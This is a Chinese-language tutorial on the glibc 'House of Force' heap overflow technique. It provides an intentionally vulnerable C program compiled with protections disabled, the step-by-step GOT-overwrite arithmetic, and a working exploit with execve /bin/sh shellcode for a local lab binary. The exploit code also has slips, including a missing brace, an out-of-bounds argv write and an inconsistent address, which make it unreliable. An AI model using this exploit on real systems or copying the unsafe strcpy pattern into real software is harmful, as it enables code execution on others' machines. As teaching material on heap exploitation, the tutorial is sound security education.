0.前言
在程序漏洞中,堆溢出更为常见。因为在程序运行过程中,有时无法知道内存具体位置,想要绑定真正的内存空间,就需要用到动态的分配内存。堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。一般称管理堆的那部分程序为堆管理器。
堆管理器处于用户程序与内核中间,主要做以下工作
1.响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序。同时,为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。
2.管理用户所释放的内存。一般来说,用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存的请求。
1.malloc()
malloc的全称是memory allocation,中文叫动态内存分配,用于申请一块连续的指定大小的内存块区域以void*类型返回分配的内存区域地址。
malloc函数的实质体现在,它有一个将可用的内存块连接为一个长长的列表的所谓空闲链表。调用malloc函数时,它沿连接表寻找一个大到足以满足用户请求所需要的内存块。然后,将该内存块一分为二(一块的大小与用户请求的大小相等,另一块的大小就是剩下的字节)。
接下来,将分配给用户的那块内存传给用户,并将剩下的那块(如果有的话)返回到连接表上。调用free函数时,它将用户释放的内存块连接到空闲链上。到最后,空闲链会被切成很多的小内存片段,如果这时用户申请一个大的内存片段,那么空闲链上可能没有可以满足用户要求的片段了。
于是,malloc函数请求延时,并开始在空闲链上检查各内存片段,对它们进行整理,将相邻的小空闲块合并成较大的内存块。如果无法获得符合要求的内存块,malloc函数会返回NULL指针,因此在调用malloc动态申请内存块时,一定要进行返回值的判断。(来源https://baike.baidu.com/item/malloc%E5%87%BD%E6%95%B0/8582146?fromtitle=malloc&fromid=659960&fr=aladdin)
2.环境及工具
虚拟机环境:Ubuntu 12.04 Desktop(x86)
工具:gdb-peda
3.漏洞程序
3.0 漏洞程序条件
这个技巧中,攻击者滥用 top 块的大小,并欺骗 glibc malloc 使用 top 块来服务于一个非常大的内存请求(大于堆系统内存大小)。现在当新的 malloc 请求产生时,free的 GOT 表就会覆盖为 shellcode地址。因此从现在开始,无论free何时调用,shellcode 都会执行。
为了成功应用 house of force,需要下面三个 malloc 调用:
Malloc 1:攻击者应该能够控制 top 块的大小。因此这个分配的块,也就是物理上在top 块之前的块上,应该能产生堆溢出。
Malloc 2:攻击者应该能够控制 malloc 请求的大小。
Malloc 3:用户输入应该能复制到这个所分配的块中。
3.1 漏洞源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *buf1, *buf2, *buf3;
if (argc != 4) {
printf("Usage Error\n");
return;
}
buf1 = malloc(256);
strcpy(buf1, argv[1]);
buf2 = malloc(strtoul(argv[2], NULL, 16));
buf3 = malloc(256);
strcpy(buf3, argv[3]);
free(buf3);
free(buf2);
free(buf1);
return 0;
}
3.2 编译命令
gcc -g -z norelro -z execstack -o vuln /home/gxk/桌面/10do/House_of_Force/vuln.c -Wl,--rpath=/lib -Wl,--dynamic-linker=/lib/ld-linux.so.2
3.3 调试
使用gdb调试,下断点调试,查看内存分布的位置
可以看到heap区的起始位置为0x0804a000,查看堆中的内容,部分如下
根据mallco的分配原则结合动态调试结果,可以绘制出堆的分布如下图所示,当第二个块被填充256字节后:
地址 | 栈 |
---|---|
top chunk | |
0x20ce9 | |
0x804a318 | 前一个块的大小 |
块3 | |
0x109 | |
0x804a210 | 前一个块的大小 |
块2 | |
0x109 | |
0x804a108 | 前一个块的大小 |
块1 | |
0x109 | |
0x804a000 | 前一个块的大小 |
4.编写exp
4.1 利用思路
当使用top chunk分配堆块的size值是由用户控制的任意值时可以使得top chunk移动到我们想要达到的任何位置,这就相当于一次任意地址写。然而在glibc中,会对用户请求的大小和top chunk现有的size进行验证。然而,如果可以篡改size的大小为一个很大值,就可以轻松的通过这个验证。之后这里会把top指针更新,接下来的堆块就会分配到这个位置,用户只要控制了这个指针就相当于实现任意地址写任意址。
在strcpy处,攻击者的参数(argv[1] – Shellcode + Pad + 0xFFFFFFFF)会复制到堆缓冲区buf1。但是由于argv[1]大于 256,top 块的大小会覆盖0xFFFFFFFF。
在第二个malloc处使用 top 块代码,分配了一个非常大的块。非常大的块的分配请求发生在分配之后,新的 top 块应该位于free的 GOT 条目之前 8 个字节处。所以另一个 malloc 请求(buf3 = malloc(256))会帮助我们覆盖free的 GOT 地址。攻击者的参数(argv[2] – 0xFFFFF744)会作为大小参数,传递给第二个 malloc 调用( buf2 = malloc(strtoul(argv[2], NULL, 16)))。大小参数使用下面的公式计算:
size = ((free-8)-top)
其中free是可执行文件vuln的 GOT 条目,也就是free = 0x08049818,如下图所示:
top是当前 top 块(在第一个 malloc [1]之后),也就是top =0x0804a108。因此size = ((0x8049858-0x8)-0x804a108) = -8F8 = 0xFFFFF708。当size = 0xFFFFF708时,我们的任务,将新的 top 块放置在free的 GOT 条目之前 8 个字节处,像这样完成了:
(0xFFFFF708+0x804a108) = 0x08049810 = (0x08049818-0x8)
但是,当攻击者传递大小参数0xFFFFF708时,glibc malloc将这个大小转换为可用大小0xFFFFF710。因此,现在新的 top 块大小应该位于0x8049818而不是0x8049810。因此攻击者应该传递0xFFFFF704作为大小参数,而不是0xFFFFF708,因为他会转换为我们所需的可用的大小0xFFFFF708。
在buf3 = malloc(256)中:现在由于buf2 = malloc(strtoul(argv[2], NULL, 16))中的 top 块指向0x8049810,一个 256 字节的内存分配请求会使 glibc malloc返回0x8049818,他会复制到buf3。
在strcpy(buf3, argv[3])中:将buf1的地址复制给buf3,会导致 GOT 覆盖。因此free的调用(free(buf3))会导致 shellcode 执行。
最终构造的堆布局如下:
地址 | 栈 |
---|---|
top chunk | |
size | |
0x08049918 | 前一个块的大小 |
块3 | |
0x08049818 | 0x804a008 |
块大小0x109 | |
0x08049810 | 前一个块的大小 |
块2 | |
0xfffff748 | |
0x804a108 | 前一个块的大小 |
shellcode+padding | |
块大小0x109 | |
0x804a000 | 前一个块的大小 |
4.2 利用代码
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08049818-0x8
#define MALLOC_SIZE "0xFFFFF704"
#define BUF3_USER_INP "\x08\xa0\x04\x08"
char scode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{
int i;
char * p;
char argv1[ 265 ];
char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL ;
strcpy(argv1,scode);
for(i=25;i<260;i++)
argv1[i] = 'A';
strcpy(argv1+260,"\xFF\xFF\xFF\xFF");
argv[264] = "";
execve( argv[0], argv, NULL );
return( -1 );
}
最后结果如下: